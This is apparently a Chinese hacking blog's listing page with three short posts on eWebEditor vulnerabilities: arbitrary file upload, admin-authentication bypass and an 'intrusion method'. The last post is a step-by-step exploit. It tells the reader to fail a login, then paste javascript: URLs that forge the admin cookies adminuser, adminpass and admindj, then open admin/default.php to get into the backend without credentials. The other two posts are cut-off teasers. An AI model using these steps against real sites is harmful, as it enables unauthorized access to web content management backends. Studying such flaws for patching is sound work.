ewebeditor for php任意文件上传漏洞

作者:admin 日期:2010-02-11

此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：

<?php

$sUsername = "admin";

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 53

ewebeditor php&asp版本后台跳过认证漏洞

作者:admin 日期:2010-01-29

影响版本:php v3.8,asp v2.8

eWebEditor是一个所见即所得的在线编辑器。顾名思义，就是能在网络上使用所见即所得的编辑方式进行编辑图文并茂的文章、新闻、讨论贴、通告、记事等多种文字处理应用。

../ewebeditor/admin/config.php文件

Tags: ewebeditor ewebeditor

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 71

ewebeditor PHP版的入侵方式

作者:admin 日期:2009-11-23

php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道，在这里我说说利用方法:1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示 ...
php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道，在这里我说说利用方法:

1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候，然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了

Tags: ewebeditor ewebeditor